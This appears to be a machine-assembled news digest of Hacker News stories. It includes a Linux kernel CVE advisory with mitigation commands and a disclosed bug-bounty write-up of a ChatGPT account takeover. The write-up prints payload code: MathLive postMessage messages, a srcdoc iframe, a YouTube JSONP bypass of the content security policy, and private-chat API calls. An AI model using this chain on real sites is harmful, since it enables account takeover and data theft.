Cover illustration

TheDaily Front

Issue No. #261031 Saturday, October 31 2026 #261031 — SATURDAY, OCTOBER 31, 2026
Algorithms, attack surfaces, and one very determined boot sector.
Saturday, October 31, 2026 The Daily Front No. #261031 — Contents
30stories
8,784points
4,337comments
314kllm tokens
Assembled with 28 model calls — 233,910 tokens read, 79,873 written.

Highlights

HackerTube: YouTube built from videos recommended by HN

A Friday-night revolt against recommendation sludge becomes a Hacker News–curated video service.

TCP Use-After-Free: CVE-2026-98432 / CVSS 9.8

A critical Linux TCP flaw puts patching and rebooting at the top of every administrator’s weekend list.

Jepsen: ParticleDB 1.1.4

Jepsen finds 96 ways ParticleDB’s claims of full ACID consistency come apart under examination.

Anthropic blocks users for anything touching training larger models

A user’s account of Anthropic restrictions feeds the day’s wider argument over who gets to train, inspect, and automate with frontier models.

UK Green party drops longstanding opposition to nuclear power

Britain’s Greens reverse a defining energy position and reopen the nuclear argument.

From the Editor

The machines were in a contrary mood today: one curates our viewing, another takes over our accounts, and a third judges the value of its victims. Still, there are consolations—an old spacecraft nearing a new frontier, a child’s Altoids-tin project, and a few stubborn engineers building smaller, stranger things.

  1. HackerTube: YouTube built from videos recommended by HN3
  2. TCP Use-After-Free: CVE-2026-98432 / CVSS 9.84
  3. Do the math: How we took over ChatGPT accounts5
  4. Tell HN: Scribd Breached6
  5. Molly (Signal fork) has not been updated since 3 months and is vulnerable7
  6. Jepsen: ParticleDB 1.1.48
  7. Malware uses LLMs to rank victims by how much they're worth9
  8. French lawmakers approved a tax of €0.055 for every gigabyte of internet traffic10
  9. Ex-Meta Researcher Torrented Pirated Books, Deleted It 'Due to Litigation'11
  10. Memdoor: A team of 5 Qwen3.8-27B models beats Fable 5 on LiveCodeBench Hard12
  11. Prospero: A new coding harness for a more civilized age13
  12. Switch Lowering in GCC14
  13. It's the memory latency, stupid15
  14. The Duty of a Scholar16
  15. Altoids Project17
  16. What is a light-day? The milestone Voyager 1 is closing in on18
  17. Surviving "The Graduate"19
  18. Anthropic blocks users for anything touching training larger models20
  19. ChatGPT and Codex usage limits merging20
  20. Anthropic takes steps to block Claude from reverse-engineering video games21
  21. Digital minimalism22
  22. GPT-5.6 Sol can beat Factorio on peaceful mode23
  23. Show HN: A language model that lives in a boot sector24
  24. UK Green party drops longstanding opposition to nuclear power25
  25. Electrification Could Cut Global Energy Use in Half26
  26. Serbia just elected the world's brainiest parliament27
  27. An Italian farmer found some unknown seeds in his attic and planted them27
  28. Casio Watches of the 1980s27
  29. OpenAI raises less than half of $30B target27
  30. Flock camera searches fell 95% after a dispatcher's misconduct was caught27
The Daily Front Page 2 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The New Channel
article

HackerTube: YouTube built from videos recommended by HN

by karpathy·▲ 1,505 points·405 comments·karpathy.bearblog.dev ↗
an enshittified wall of slop

It was Friday night at 11pm, I was tired, I went to YouTube to watch something and realized that I was looking at an enshittified wall of slop. Insanely exaggerated thumbnails, dumb recommendations of the same tired topics, truly terrible idiocracy-grade content. I'm sure this algorithm works well for the median person on the internet, but it definitely does not work for me. So this morning (Saturday) I took a hold of my Opus 5.5 and gave it the task: Let's write our own YouTube clone based on whatever videos have been recommended on Hacker News. And Opus came back with: hackertube.org!

image

Opus downloaded all comments of HackerNews, filtered them, ran Sonnet over them in a Workflow (Claude Code feature), got rid of spam, and narrowed everything down to 40K comments recommending a YouTube video. In total, we get 6,454 YouTube videos that have been recommended by a few people on HN from 2007-2026 across 150 topics. Then we wrap it up in a YouTube UI, get a domain, push to a VPS, secure, harden, optimize and voila!

HackerTube:

  • Contains quality content
  • Uses the 50% thumbnail instead of the uploaded thumbnail
  • Custom and good ForYou recommendations without any user accounts, storing state in local browser session
  • Keyboard shortcuts
  • Export of the site's data available to give to your agent to easily create your own version

This takes ~2 hours now. I can breathe again. Thank you Opus 5.5 <3.


EDIT: A little bit more on my process. I use Claude Code (desktop app for Mac). I use Opus 5.5 on Medium effort as my default. I don't actually do anything resembling traditional engineering anymore (read/write code, run commands in a terminal, or etc.), I only talk to Claude and have it do everything. In this case, the only "manual work" I did was: 1) I had to create some kind of API key from Google Cloud UI to query YouTube for video metadata, 2) I booted up a VPS box and 3) I bought the domain name. I worked on this in between Claude's actual work so it still feels a little bit like team work :) Once the box was up I gave Claude the IP and told it update, deploy, secure, harden and optimize the code, and it did the whole thing.

The Daily Front Page 3 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Security Bulletin
article

TCP Use-After-Free: CVE-2026-98432 / CVSS 9.8

by oger·▲ 555 points·255 comments·atlasum.net ↗
a CVSS 9.8 remote use-after-free in Linux's IPv4 TCP handshake

CVE-2026-98432 is a CVSS 9.8 remote use-after-free in Linux's IPv4 TCP handshake, fixed upstream Oct 15. Ubuntu and RHEL haven't shipped a fixed kernel yet.

Updated October 31, 2026

Red Hat raised its rating to Critical on October 30 and published a mitigation, AlmaLinux has fixed kernels in testing, and Amazon Linux has fixed all of its kernels. The Go Security Team says Go programs open multipath TCP listeners by default, so the setup Anthropic's exploit needs is more common than it first looked. What changed.

Overview

Linux's stable kernels shipped a fix on October 11 and 15, 2026 for CVE-2026-98432, a use-after-free in the IPv4 TCP handshake that a remote, unauthenticated peer can reach. The kernel's own CVE Numbering Authority (CNA) scores it CVSS 3.1 9.8, Critical. The fixed releases are 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.56, 7.2.10, and 7.3, and the bug goes back to Linux 4.4. The upstream fix is a four-line change, but most servers run a distribution's kernel, and as of 5:15 PM CDT, October 31, Ubuntu's tracker still reads "Vulnerable" for its kernel on every release, and Red Hat, which now rates the bug Critical too, lists RHEL 8, 9, and 10 as affected with no fix.

Affected: Linux from 4.4 on, below 5.10.272 / 5.15.223 / 6.1.190 / 6.6.159 / 6.12.113 / 6.18.56 / 7.2.10. Distribution kernels follow their own versions: check the tracker.

Fix: Install your distribution's fixed kernel and reboot. Debian, current SUSE Enterprise, Oracle UEK, and Amazon Linux kernels have one; Ubuntu and RHEL don't yet.

Can't patch yet: Drop TCP packets that carry IPv4 options (Atlas's interim rule), turn off multipath TCP if you don't use it, and patch hosts with multipath TCP listeners first.

Why it's urgent: the bug sits in code every Linux server runs when it accepts an IPv4 TCP connection, before any application sees the connection. Anthropic, whose researcher reported it, says its Claude model wrote a working proof-of-concept exploit that runs commands as root on "Linux servers with a multipath TCP listener," with no credentials. Go programs open those listeners by default, per the Go Security Team. See the timeline.

Key facts

Field Detail
CVE CVE-2026-98432, "ipv4: free inet_opt and ireq_opt after an RCU grace period," issued by the Linux kernel CNA
Severity Critical, CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), the kernel CNA's score. Red Hat also rates it Critical, CVSS 3.1 9.8, raised from Important (8.1) on October 30. SUSE rates it important, Ubuntu rates it High, and Oracle and Amazon rate it Important with CVSS 3.1 8.1.
Weakness Use-after-free of IPv4 option data during the TCP handshake (the record lists no CWE)
Impact Per the CNA's scoring notes: kernel heap contents disclosed to the remote peer, kernel memory corruption, or a crash. Red Hat's bulletin: a remote, unauthenticated attacker "could exploit a race condition during TCP connection request processing to trigger remote code execution."
Fixed in 7.2.10 and 6.18.56 (Oct 11) · 6.12.113, 6.6.159, 6.1.190, 5.15.223, and 5.10.272 (Oct 15) · 7.3 (Oct 18)
No fix yet Ubuntu (every release) and Red Hat Enterprise Linux (RHEL) 8, 9, and 10, as of 5:15 PM CDT, October 31. AlmaLinux's fixed kernels are still in testing. Upstream branches that reached end-of-life before 5.10 get no fix.
Proof of concept Anthropic says Claude built a remote root exploit for servers with a multipath TCP listener. It hasn't published the exploit.
CVE records Published on cve.org on October 15. NVD lists it as "Received," with no analysis of its own, as of 5:15 PM CDT, October 31.
Credit Reported by Xinyang Ge of Anthropic. Fixed by Eric Dumazet and reviewed by Kuniyuki Iwashima, per the fix commit.

Who is affected

Any Linux kernel from 4.4 on that lacks the fix, whether it serves the network directly or hosts containers: a container runs on the host's kernel, so a new image doesn't change anything. IPv6 connections aren't affected by the main issue; the commit says "IPv6 is not affected by the first issue."

Release line Status on Oct 31, 2026 Fixed in Released
7.3 Mainline 7.3 (from 7.3-rc7) Oct 18, 2026
7.2 Stable 7.2.10 Oct 11, 2026
6.18 Longterm 6.18.56 Oct 11, 2026
6.12 Longterm 6.12.113 Oct 15, 2026
6.6 Longterm 6.6.159 Oct 15, 2026
6.1 Longterm 6.1.190 Oct 15, 2026
5.15 Longterm 5.15.223 Oct 15, 2026
5.10 Longterm 5.10.272 Oct 15, 2026
4.4 – 5.4 End-of-life upstream distro fixes only —

Distribution status

Distribution kernels carry backported fixes under their own version numbers, so check the tracker, not the upstream number. As of 5:15 PM CDT, October 31:

  • Ubuntu: the tracker lists the linux package as "Vulnerable" on every release. On 26.10, 26.04, 24.04, and 22.04 it adds "work in progress" in 7.3.0-10.10, 7.0.0-43.43, 6.8.0-149.149, and 5.15.0-203.213; 20.04, 18.04, and 16.04 show only "Vulnerable." Many cloud and hardware-enablement kernels are listed the same way, and no Ubuntu Security Notice has been published.
  • Red Hat: rated Critical, CVSS 3.1 9.8, since October 30. RHEL 8, 9, and 10 and OpenShift Container Platform 4 and 5 are listed as affected, with no fix; RHEL 6 and 7 aren't affected (CVE page). Its bulletin, RHSB-2026-016, says "Red Hat is expediting the release of fixes," gives an nftables mitigation (compared below), and says any product that relies on the RHEL kernel, including RHEL CoreOS, "is also potentially impacted."
  • AlmaLinux: fixed kernels for AlmaLinux 8, 9, and 10 (kernel-4.18.0-553.180.2.el8_10, kernel-5.14.0-687.61.2.el9_8, and kernel-6.12.0-211.69.2.el10_2) have been in its testing repository since October 30, ahead of RHEL. AlmaLinux will move them to production after community testing, and its errata don't list them yet (announcement).
  • Debian: fixed in 12 "bookworm" (6.1.190-1, DLA-4841-1, and linux-6.12 6.12.113-1~deb12u1, DLA-4850-1), 13 "trixie" (6.12.113-1, DSA-6568-1), and unstable (tracker).
  • SUSE: rated important. SUSE Linux Enterprise Server 16.0 (kernel-default 6.12.0-160000.40.1) and the 15 SP4, SP5, and SP6 LTSS kernels are fixed; 15 SP7 is in progress. openSUSE Leap 16.0 is fixed, and Leap 15.6 is listed as affected (CVE page).
  • Oracle Linux: rated Important, CVSS 3.1 8.1. Unbreakable Enterprise Kernel (UEK) errata for Oracle Linux 7, 8, 9, and 10 came out October 16: ELSA-2026-500397, ELSA-2026-500398, and ELSA-2026-500399 (CVE page). The page lists only the UEK kernels.
  • Amazon Linux: rated Important, CVSS 3.1 8.1, and every kernel is fixed. On Amazon Linux 2023, the default kernel (ALAS2023-2026-3365, October 30), kernel6.12 (ALAS2023-2026-3335, October 29), and kernel6.18 (ALAS2023-2026-3251, October 24). On Amazon Linux 2, the core kernel (ALAS2-2026-4065) and the 5.4, 5.10, and 5.15 Extras kernels (ALAS2KERNEL-5.4-2026-135, ALAS2KERNEL-5.10-2026-137, and ALAS2KERNEL-5.15-2026-120), all October 30 (CVE page).

How the vulnerability works

When a Linux server accepts a TCP connection, the kernel tracks the half-open handshake in a lightweight "request socket," then creates a full socket once the handshake completes. If the connecting peer's IPv4 header carried options, the kernel keeps them to echo in its replies. The bug: the kernel handed those saved options from the request socket to the new connection without copying them, then freed them immediately when the connection went away, while another CPU could still be reading them to build a handshake reply. Reading freed kernel memory is a use-after-free.

The peer needs no login, and it all happens inside the kernel's handshake handling, before any application code runs. The CNA's scoring notes say the stale data can leak kernel heap memory back to the peer, steer kernel writes out of bounds, or crash the machine. Anthropic says a lost race "only fails the handshake without crashing the whole system, so a determined attacker can retry indefinitely until they succeed."

The fix

Eric Dumazet's commit, "ipv4: free inet_opt and ireq_opt after an RCU grace period," changes two plain kfree() calls to kfree_rcu(), which waits until every reader has finished with the memory before freeing it. Other code paths that replace these options already did that. The commit also fixes the same problem in request-socket migration (net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program), and says a related IPv6 case "will be addressed in a separate patch."

ipv4: free inet_opt and ireq_opt after an RCU grace period

Which servers are exposed

  • Every Linux host that accepts IPv4 TCP connections on an affected kernel: web servers, SSH, databases, load balancers, and Kubernetes nodes. The CNA's notes say the vulnerable path runs "during the TCP handshake, before application authentication."
  • Hosts with a multipath TCP (MPTCP) listener first. That's the setup Anthropic's working exploit needs: "Linux servers with a multipath TCP listener." Anthropic hasn't said why that listener matters, and the CVE record doesn't mention MPTCP. A server has one only if an application opens an MPTCP socket, and Go programs do by default: the Go Security Team says "as of Go 1.24, Go programs enable MPTCP by default for listen sockets on Linux." The default follows the go line in the program's go.mod, and applies only where the kernel allows MPTCP (net.mptcp.enabled = 1, as on the Debian 12 kernel we checked; AlmaLinux says it ships MPTCP off). The Go team adds that "the underlying bug is not specific to MPTCP. It is possible that systems with no MPTCP listeners are vulnerable to similar attacks." The check is below.

Red Hat now rates it as the CNA does. It raised the bug from Important (8.1) to Critical (9.8) on October 30, citing "the lack of network prerequisites and the potential for severe system instability." Its bulletin says "Systems accepting inbound TCP connections are most directly exposed."

How to check your systems

Check the kernel

uname -r                             # the running kernel
uname -v                             # Debian: the package version running
dpkg -l 'linux-image*' | grep ^ii    # Debian/Ubuntu: installed kernel packages
rpm -q kernel                        # RHEL and derivatives: installed kernels
needs-restarting -r                  # RHEL (dnf-utils): is a reboot needed?

Compare the result with your distribution's status above, not with the upstream version. If the installed kernel is newer than the running one, the fix isn't active until you reboot. Run these on container hosts and Kubernetes nodes, not inside containers: a container reports the host's kernel. We ran them on a Debian 12 host and in a Rocky Linux 9 container.

Check for multipath TCP listeners

ss -Mlnp                   # MPTCP listening sockets and the processes that own them
sysctl net.mptcp.enabled   # 1 means applications may open MPTCP sockets

ss -M lists only MPTCP sockets, so an empty result means no MPTCP listener. net.mptcp.enabled = 1 alone doesn't create one: an application has to open an MPTCP socket. We tested both with iproute2 6.1 in a Debian 12 container, where ss -Mlnp listed a test MPTCP listener and skipped a plain TCP one beside it. On October 31 it also listed a Go HTTP server whose go.mod says go 1.24, and skipped the same server built with Go 1.23.

How to fix

Update the kernel and reboot

Install your distribution's fixed kernel as soon as it ships, then reboot: a kernel update doesn't take effect until the machine boots into it. Reboot container hosts and Kubernetes nodes too. Appliances and cloud images that bundle a kernel need their vendor's update.

On Debian, SUSE Linux Enterprise Server 16.0 and the 15 LTSS releases, openSUSE Leap 16.0, Oracle Linux's UEK kernels, and Amazon Linux 2 and 2023, the fix is out. AlmaLinux's is in its testing repository. On Ubuntu and RHEL, it isn't out yet, as of 5:15 PM CDT, October 31. Watch the trackers linked above. Running a self-built kernel? Move to the fixed stable release for its line.

If you can't patch yet

Red Hat's bulletin and AlmaLinux now publish nftables rules that drop incoming IPv4 TCP packets carrying IP options. Red Hat says its rule "reduces exposure to this vulnerability but cannot fully prevent it." The following is Atlas's interim recommendation, the same rule as AlmaLinux's, based on the CNA's scoring notes, which say the attacking peer supplies IPv4 Record Route or Timestamp options in its SYN. TCP traffic almost never carries IPv4 options legitimately, so dropping TCP packets that have them should cost nothing:

nft add table ip cve_2026-98432
nft add chain ip cve_2026-98432 pre '{ type filter hook prerouting priority -300; }'
nft add rule ip cve_2026-98432 pre meta l4proto tcp ip hdrlength gt 5 counter drop

ip hdrlength gt 5 matches any IPv4 header longer than the 20-byte minimum, which only options produce. The rule runs before connection tracking and doesn't touch IPv6 or non-TCP traffic. We tested it in a Debian 12 container: it dropped a SYN carrying a Record Route option, and ordinary TCP connections still worked. We haven't tested it against an exploit, and it doesn't fix the kernel. It lasts until reboot, which is fine if the reboot is into a fixed kernel; remove it with nft delete table ip cve_2026-98432. If your edge firewall can drop IPv4 packets with options, doing it there protects every host behind it.

If you manage the firewall with iptables, this rule does the same job from the raw table, which also runs before connection tracking:

iptables -t raw -I PREROUTING -p tcp -m u32 --u32 "0>>24&0xF=6:15" -j DROP

The u32 match reads the IPv4 header-length field, and a value of 6 to 15 means the header carries options. We tested it with iptables 1.8.9, on both its nf_tables and legacy backends, in a Debian 12 container: it dropped a Record Route SYN sent to the host and one routed through it, and ordinary TCP connections still worked. Remove it by running the same command with -D in place of -I; like the nft rule, it lasts until reboot. It needs the kernel's xt_u32 module, which the Debian 12, Ubuntu 22.04 and 24.04, and RHEL 8 kernels include. RHEL 9 and 10 kernels, and their rebuilds, leave it out, so use the nft rule there.

Red Hat's rule hooks input; ours hooks prerouting, so it also drops packets the host routes on to containers. On October 31 we tested it against two pairs of network namespaces. It dropped a Record Route SYN routed between one pair, and never saw one bridged between the other, as AlmaLinux warns: "Traffic between containers on the same host may bypass it." AlmaLinux also says not to use it on networks that rely on CIPSO security labels, which travel in IPv4 options.

Turn off multipath TCP if you don't use it. That removes the setup Anthropic's exploit needs, though not the bug. AlmaLinux's steps:

echo 'net.mptcp.enabled = 0' | sudo tee /etc/sysctl.d/90-disable-mptcp.conf
sudo sysctl -w net.mptcp.enabled=0
sudo ss -Mlnp    # listeners opened earlier stay MPTCP: restart their services

New MPTCP sockets then fail, and Go programs fall back to plain TCP when they start. The setting is per network namespace, and each new one starts with MPTCP on, so a container keeps it unless you set it there too (Docker: --sysctl net.mptcp.enabled=0). We tested the steps and the Docker flag on October 31. For a single Go program, GODEBUG=multipathtcp=0 in its environment turns the default off, but the Go Security Team calls disabling MPTCP program by program "a fragile mitigation."

Until you can patch, keep MPTCP listeners off the internet, and put the hosts that have one at the top of the patch list.

Timeline and exploitation status

All times are CDT (UTC−5).

When What
Oct 1 · 5:12 PM Eric Dumazet posts the fix, crediting Xinyang Ge of Anthropic as reporter
Oct 5 The fix is merged into the kernel's networking tree
Oct 11 Linux 7.2.10 and 6.18.56 ship the fix; 7.3-rc7 follows that night
Oct 15 · 4:56–7:16 AM Linux 6.12.113, 6.6.159, 6.1.190, 5.15.223, and 5.10.272 ship the fix; the CVE record is published at 7:08 AM
Oct 16 Oracle publishes UEK errata with the fix for Oracle Linux 7 through 10
Oct 18 Linux 7.3 is released with the fix
Oct 24 Amazon Linux 2023's kernel6.18 package is fixed
Oct 27 Anthropic's Frontier Red Team describes a remote root exploit for the bug, built by Claude in its lab
Oct 29 · 6:34 PM The Go Security Team says Go programs have opened MPTCP listeners by default since Go 1.24
Oct 29 Ubuntu still lists its kernels as vulnerable; Amazon Linux 2023's kernel6.12 package is fixed; GitHub repositories referencing the CVE appear, one created at 7:22 PM describing a race trigger
Oct 30 AlmaLinux puts fixed kernels in its testing repository; Red Hat raises its rating to Critical and publishes bulletin RHSB-2026-016 with a mitigation; Amazon Linux fixes its remaining kernels
Oct 31 36 GitHub repositories reference the CVE, at least six describing a race trigger or a proof of concept

Exploitation status. Anthropic says Claude wrote the exploit "after initial prompting," that it runs "arbitrary commands as root, without any credentials or user interaction" on servers with a multipath TCP listener, and that in its proof of concept "it takes 48 minutes to leak a kernel pointer and another five minutes to reach the shell command execution." Anthropic hasn't published the exploit. Its disclosure policy gives developers 90 days to patch and a further 45 days before Anthropic discusses details beyond a public advisory. Red Hat's bulletin now says the bug could be exploited "to trigger remote code execution." By 5:15 PM CDT on October 31, 36 GitHub repositories referenced the CVE. Most describe themselves as audit or mitigation tooling, among them Ansible roles and a livepatch for AlmaLinux and Rocky Linux. At least six say they include a race trigger or a proof of concept for the use-after-free; the first was created at 7:22 PM on October 29, and the latest at 11:04 AM on October 31. The CVE isn't in CISA's Known Exploited Vulnerabilities catalog as of 5:15 PM CDT. We haven't tested any public proof of concept, and we aren't linking them.

Updates to this post

We'll revise this post and mark it updated when any of these change: fixed kernels from Ubuntu or Red Hat, or AlmaLinux's production release; NVD's analysis; a KEV listing or any report of exploitation; the separate IPv6 fix.

  • October 31, 5:15 PM CDT: Red Hat raised its rating from Important (8.1) to Critical (9.8) on October 30 and published a mitigation in bulletin RHSB-2026-016, so we replaced its earlier rating and its "no mitigation" statement. Added the Go Security Team's notice that Go programs open MPTCP listeners by default, AlmaLinux's fixed kernels in testing, Amazon Linux's fixes for its remaining kernels, openSUSE Leap 16.0's fix, steps to turn off MPTCP, an iptables version of the interim rule, and the interim rule's limits with bridged container traffic and CIPSO. 36 GitHub repositories now reference the CVE. Ubuntu, Debian, Oracle, NVD's status, and KEV are unchanged, and the stable kernels released October 30 don't include the IPv6 follow-up.
  • October 29, 8:00 PM CDT: Added Oracle Linux, fixed in its UEK kernels since October 16, and Amazon Linux, fixed in Amazon Linux 2023's 6.12 and 6.18 kernels and pending elsewhere. Eight GitHub repositories now reference the CVE, one describing a race trigger. Ubuntu, Red Hat, Debian, SUSE, NVD, and KEV are unchanged since 11:00 AM, and nothing was corrected.

Sources

The Daily Front Page 4 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — One Link Too Many
article

Do the math: How we took over ChatGPT accounts

by armcat·▲ 346 points·168 comments·parameter.ai ↗
take over anyone's account simply by sending them a link

By bypassing ChatGPT's sandbox and content security policy, our research team was able to take over anyone's account simply by sending them a link.

In October 2026, we found a way to turn an ordinary public ChatGPT share into attacker-controlled JavaScript running inside the signed-in session of whoever opened it.

An attacker could create a malicious conversation, publish it using ChatGPT's normal sharing feature, and send the link to another user. When the victim opened the share, the payload executed as chatgpt.com with access to the victim's authenticated web session.

We confirmed that this code could enumerate the victim's conversation list, retrieve content from a private conversation that had never been shared with the attacker, and send data from that conversation to an external server. The payload was not limited to modifying the page or displaying an alert—it could directly call ChatGPT's authenticated APIs as the victim, essentially allowing us to take over the victim's ChatGPT account.

The victim did not need to install an App, join a Project, paste code, or open developer tools. Opening the shared link was the only required action.

OpenAI fixed the issue on October 26 and classified the report as P1.

The chain started with two features that looked harmless on their own: a graph and an HTML Preview.

flowchart TD
  A["Attacker publishes a ChatGPT conversation"] --> B["Victim opens the public share"]
  B --> C["HTML Preview crosses into the main chatgpt.com page"]
  C --> D["JavaScript runs in the victim's signed-in session"]
  D --> E["Any action on chatgpt.com as the victim:<br/>read private chats and files, change the account"]

Technical walkthrough


It started with a graph and a Preview

The question that started this research was simple: if Preview code was boxed into a different website, what could it still talk to?

ChatGPT can turn an HTML code block into a small working webpage using its Preview feature. Since that page may contain arbitrary code, ChatGPT sensibly runs it inside a restricted frame on a different web address. The Preview can run JavaScript, but the browser treats it as a different website, so it cannot directly inspect the signed-in ChatGPT page around it.

At first, this isolation appeared to work exactly as intended. Code inside the Preview could not read parent.document, which is the main ChatGPT page. That should have been the end of it.

The conversation also contained a normal interactive graph. Behind the scenes, the graph loaded a math library called MathLive. Loading it did more than draw the graph: it also installed a listener in the main ChatGPT page for messages related to MathLive's on-screen keyboard.

Browsers call the relevant API postMessage. It is a legitimate way for two frames to exchange information even when the browser prevents them from reading each other's pages. You can think of it as a mail slot: the restricted Preview cannot walk into the main page, but it can still drop a message through the slot.

That is safe only if the receiver checks who sent the message.

MathLive did not make that check for the setting we were interested in. Its listener accepted a message that changed the virtual keyboard layout, and that layout was allowed to contain HTML. The graph had installed the receiver; the Preview gave us an untrusted sender. Two unrelated features had accidentally created a path across the sandbox.

The message that should not have worked

The Preview sent two messages. The first replaced a virtual keyboard layout with our HTML. The second told MathLive to show the keyboard, causing it to render the new layout:

top.postMessage({
  type: "mathlive#virtual-keyboard-message",
  action: "update-setting",
  layouts: [{
    label: "Compatibility",
    layers: [{ id: "compatibility", markup }]
  }]
}, "*");

top.postMessage({
  type: "mathlive#virtual-keyboard-message",
  action: "show",
  animate: false
}, "*");

MathLive recognized the public message type, but its top-level controller used an origin policy of none, which meant it accepted messages from any web address. It also did not require the update-setting message to come from a previously approved window. Anyone who could reach the listener and knew the message format could replace the layout.

When the keyboard opened, MathLive joined the supplied layout into an HTML string and assigned it to innerHTML in the real ChatGPT page. A helper named createHTML initially looked like it might sanitize the value. It did not; it marked the string as trusted and passed our HTML through unchanged.

This was exciting, but we still did not have JavaScript execution. Script tags inserted through innerHTML do not automatically run.

The next step was an iframe using srcdoc, a browser feature that lets an embedded frame carry its HTML directly in an attribute:

<iframe srcdoc="..."></iframe>

MathLive inserted this frame into the main ChatGPT document without a sandbox attribute. That gave us two useful properties. First, srcdoc created a fresh document where an external script could execute. Second, because the main ChatGPT page created the frame, the browser gave it the https://chatgpt.com web identity. Code inside the new frame could therefore access the parent page.

Bypassing CSP with YouTube JSONP

ChatGPT's Content Security Policy, or CSP, stopped us again. CSP controls which scripts a page may load, and the policy correctly blocked inline JavaScript. It did, however, allow scripts from YouTube.

YouTube's oEmbed endpoint supported a JSONP-style callback parameter. JSONP responses are JavaScript rather than ordinary JSON. The endpoint tried to reject an invalid callback, but it placed the callback into the response before returning its validation error:

https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void

The response began like this:

// API callback
globalThis.__marker=31337;void({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: ..."
  }
});

Ending our callback with ;void made the object appended by YouTube harmless. Since YouTube was already allowed by ChatGPT's CSP, the browser loaded this response as a script and ran our callback inside the new frame.

We now had arbitrary JavaScript running as chatgpt.com. The original Preview was still isolated on its separate web address; we had crossed the boundary by convincing a trusted component in the main page to create a new, unsandboxed document for us.

Turning a lab bug into one public link

So far, this was a useful sandbox escape, but the first working version was not a convincing real-world attack. It used a researcher-controlled ChatGPT App as the sender. A victim would have needed to connect or invoke that App first.

We next tried delivering the payload through a native HTML attachment. ChatGPT opened the attachment inside the same sandboxed Preview, so it could send the malicious MathLive messages.

However, when we exported the conversation as a public share, the attachment remained but the earlier graph did not. The graph was essential because it loaded MathLive and installed the vulnerable message listener in the main page. Without it, the attachment could still send the messages, but nothing was listening to or processing them.

The breakthrough was putting both pieces directly into one ordinary public conversation:

  1. A genuine graph initialized MathLive in the main page.
  2. A later assistant-authored HTML Preview sent the two messages.

The resulting /share/<id> link preserved the complete chain for another user. The attacker could deliver it the same way they would send any shared ChatGPT conversation—through email, chat, a support ticket, or a social post. The victim did not need to install anything, join the attacker's workspace, or authenticate through an attacker-controlled flow. They just had to visit the attacker's shared ChatGPT URL.

We observed two versions of the interaction. In the most stable reproduction, the victim opened the share and clicked ChatGPT's normal Preview button once. We later marked the HTML block as previewable so that ChatGPT opened it automatically. In that version, opening the link was the victim's only click. We reproduced the automatic path three times in a separate account, including after a hard refresh, with the alert appearing after roughly 4.5 seconds.

The graph and Preview loaded independently, so the payload could occasionally send its message before MathLive was ready. The final carrier handled that race by retrying the same two messages for a limited period. A guard in the main page ensured that the private-conversation proof and outbound request ran only once.

The public share modified the real ChatGPT page

The public share modified the real ChatGPT page

At this point, the public share could display an alert identified by the browser as coming from chatgpt.com and could add a banner to the main page. That proved where our code was running. It did not yet show why the bug mattered.

An alert was not enough

At this point, displaying an alert was the least interesting thing the exploit could do. The JavaScript was running as chatgpt.com, which meant it could interact with ChatGPT using the same authenticated context as the normal web application.

The payload read the session information already available to the page and used it to call ChatGPT's conversation APIs. First, it enumerated the victim's recent conversations. It could then request message data for a selected private conversation:

GET /backend-api/conversations?...&limit=20&order=updated&offset=0
GET /backend-api/conversations/<conversation-id>?num_turns=2

This was direct authenticated API access, not scraping text that happened to be visible on screen. The target conversation was unrelated to the malicious share and had never been shared with the attacker.

Once the response was available to the injected JavaScript, sending data off-site was straightforward. The payload created an ordinary image request to a server we controlled.

We deliberately sent only a small piece of the response off-site. The injected code had already received the authenticated conversation response and could read its contents, so the vulnerability was not limited to that value.

Controlled proof that private conversation data could leave the victim's session

Controlled proof that private conversation data could leave the victim's session

The result was a practical cross-user data-theft primitive. A malicious public conversation could execute inside another user's signed-in ChatGPT session, enumerate private conversations, retrieve private message content, and send selected data to an attacker-controlled server.

Because the code ran with the web application's authenticated access, its reach was not inherently limited to the conversation endpoints used in our proof. Other data and actions exposed through ChatGPT's authenticated frontend APIs sat inside the same security boundary. Essentially, we could perform any action on behalf of the victim's ChatGPT account.

What went wrong and what OpenAI fixed

The Preview sandbox itself worked. Code inside Preview could not directly read the ChatGPT page. The problem was that another component in the main page was willing to accept its instructions.

Three design decisions turned that mistake into a full exploit:

  1. MathLive accepted a state-changing message without proving which frame sent it.
  2. The message format allowed raw HTML to be supplied as keyboard-layout data.
  3. That HTML could create an unsandboxed document that inherited the chatgpt.com identity.

The YouTube response was the final workaround for CSP, not the root cause. Blocking only that endpoint would have removed one path to JavaScript while still leaving an untrusted Preview able to insert HTML into ChatGPT.

OpenAI reproduced both the JavaScript execution and the private-conversation proof. The fix was rolled out across two versions of ChatGPT's web frontend. During the rollout, CSP changes blocked part of the original chain while one version still needed an update. On October 26, OpenAI confirmed that both versions now rejected the cross-frame MathLive messages used by the report and marked the issue resolved.

The defensive lessons are fairly simple:

  • A message receiver should verify both the sender's web address and the exact window that was given permission.
  • Cross-window settings should not contain raw HTML.
  • Dynamically created documents should remain sandboxed when their content can be influenced by an untrusted frame.
  • CSP should be a backup control, not the only barrier after attacker-controlled HTML reaches the main site.

This bug was interesting because every individual feature looked reasonable. Preview was isolated. Graphs could load a math keyboard. Frames could exchange messages. CSP allowed a major media provider. Public conversations could be shared. The vulnerability appeared only when all of those features were combined in one page.

Timeline

Date Event
October 13, 2026 Confirmed the MathLive message-to-HTML path against ChatGPT's production code.
October 14 Reproduced the chain through the normal UI and upgraded the fixed alert to arbitrary JavaScript.
October 16 Confirmed public-share delivery between separate accounts and workspaces with one Preview click.
October 17 Confirmed automatic Preview from share navigation and reproduced it after a hard refresh.
October 18 Submitted the report to OpenAI's bug bounty program.
October 19 Added the controlled private-chat disclosure proof.
October 21 OpenAI reproduced the issue; severity was raised from the initial P2 triage to P1.
October 22 OpenAI reported one web frontend fixed while the second was still being updated.
October 23 CSP changes blocked part of the chain while one frontend update remained.
October 26 OpenAI confirmed both frontends rejected the reported messages, resolved the issue, and awarded a total bounty of $5,000.

Technical notes

The main story above contains the complete exploit chain. The details below are included for readers who want to follow the production code and payload transformations more closely.

The relevant deminified control flow was equivalent to:

